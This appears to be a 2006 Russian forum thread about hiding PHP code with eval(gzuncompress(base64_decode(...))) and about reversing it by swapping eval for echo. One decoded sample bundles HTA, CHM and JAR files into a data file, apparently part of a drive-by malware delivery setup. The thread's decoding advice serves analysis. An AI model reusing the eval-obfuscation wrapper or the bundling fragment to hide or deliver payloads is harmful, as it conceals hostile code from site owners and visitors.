Просмотр полной версии : Base64 в PHP
aka PSIH
08.06.2006, 19:48
Вот есть скрипт каторые криптует файл .php в Base64
<?
$Data = file_get_contents ( "main.php" );
$Data = "<?eval(gzuncompress(base64_decode(\"".base64_encode ( gzcompress ( substr($Data, 2, strlen($Data)-2 ) ) ) . "\")));?>";
$fs = fopen ( "main_b.php", "a" );
ftruncate ( $fs, 0 );
fwrite ( $fs, $Data );
fflush ( $fs );
fclose ( $fs );
?>
Можно его какнить перписать, чтоб он из Base64 назад в .php раскриптовывал?
А давно Base64 алгоритм криптования?
ZetRider
08.06.2006, 21:48
Кодируем текст в base64.
<?
$string="MyName"; # кодируемое
$encoded=base64_encode($string);
echo $encoded
// TXlOYW1l
?>
Раскодируем текст из base64.
<?
$string="TXlOYW1l"; # раскодируемое
$decoded=base64_decode($string);
echo $decoded
// MyName
?>
aka PSIH
09.06.2006, 11:11
ZetRider - я немного другое хотел увидеть, чем это:
xњђБJД0†п…ѕГ m Д=?—ў"xрј—?N¶•lR’)ЉOпd»¬+Љ'ж2яМчПФU]щ9tЄyz~ђp шѕш8bЧNvwќhёЩг°Gl„Ѓ2t &2љCЂ”}]БFщІgА1ЭCqk ®x1o®–л?ыKВ\иgs]Z5cZђь5%@іЯйэЌщ}r;4‡8я‰щj’ж81 І)@г2oкв‚ЎФд™рКЖ•»’ ўЬЇЯ¬Ґ5XCЕ’;мОRQЯТь%mWј”ќ_у ЙЯтЦЗЊщы»Oё›…6
Мне надо расшифровать вот этот код:
<? eval(gzuncompress(base64_decode("eJytkMFKxDAQhu+FvsMQCm0gxD2Il6IiePABvJeYTraVbFKSKY pP72S7rCuKJxPmMv/M988M1FVd+TkTdKp5en6QcAv4vvg4YtdOdhh3nWgVuNnjsEcab AyEgTJ0ICYymkOAlH1dwUb5ARGyZ8Ax3UNxax4NGa54MRlvrgc MluuYB/sPGw9LwlzoZ3NdWjVjWpD8NQglQLPf6f2N+X1yOx00hzgS/4n5apLmODH7silA4zJv6uKCodTkmfDKxpW7kh4NCQWi3K/frB2lNVhDxZI7FezOUlHf0vwlbVe8lJ1f87TJ3/LWx4wX+fu7T7ibhTY=")));
?>
Он был зашифрован с помощью этого кода:
<?
$Data = file_get_contents ( "index.php" );
$Data = "<?eval(gzuncompress(base64_decode(\"".base64_encode ( gzcompress ( substr($Data, 2, strlen($Data)-2 ) ) ) . "\")));?>";
$fs = fopen ( "index_b.php", "a" );
ftruncate ( $fs, 0 );
fwrite ( $fs, $Data );
fflush ( $fs );
fclose ( $fs );
?>
Расшифровка:
list (,$HTA) = explode('hc_d0("', file_get_contents ( "hta.hta" )); list ($HTA) = explode('");', $HTA); $Data = base64_encode ( gzcompress ( 'hc_d0("'.$HTA.'")' ) ) . "," . base64_encode ( gzcompress ( file_get_contents ( "chm.chm" ) ) ) . "," . base64_encode ( gzcompress ( file_get_contents ( "jar.jar" ) ) ); $fs = fopen ( "site/counter.dat", "a" ); ftruncate ( $fs, 0 ); fwrite ( $fs, $Data ); fflush ( $fs ); fclose ( $fs ); ?>
Объясни, в чем проблема?! =)))
2ZetRider, Забыл gzuncompress();
Короче, решил выложить то, что я сделал (я был пацталом) =)
<?
echo (gzuncompress(base64_decode('тут base64 код')))
?>
да и файлик у тя там, вроде, index_b.php подгружается...
С каких это пор Base64 в PHP используется? Всегда MD5 пользовались ;)
ЗЫ: да и файлик у тя там, вроде, index_b.php подгружается...
Про md5 не в тему. А вообще стоит просто заменить eval() на echo(), mail() или file_put_contents() чтобы получить код скрипт
А давно Base64 алгоритм криптования?
Ага мне тоже интересно =)
<?
echo "Автор темы ламер и не знает алгоритмов шифрования :)";
?>
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot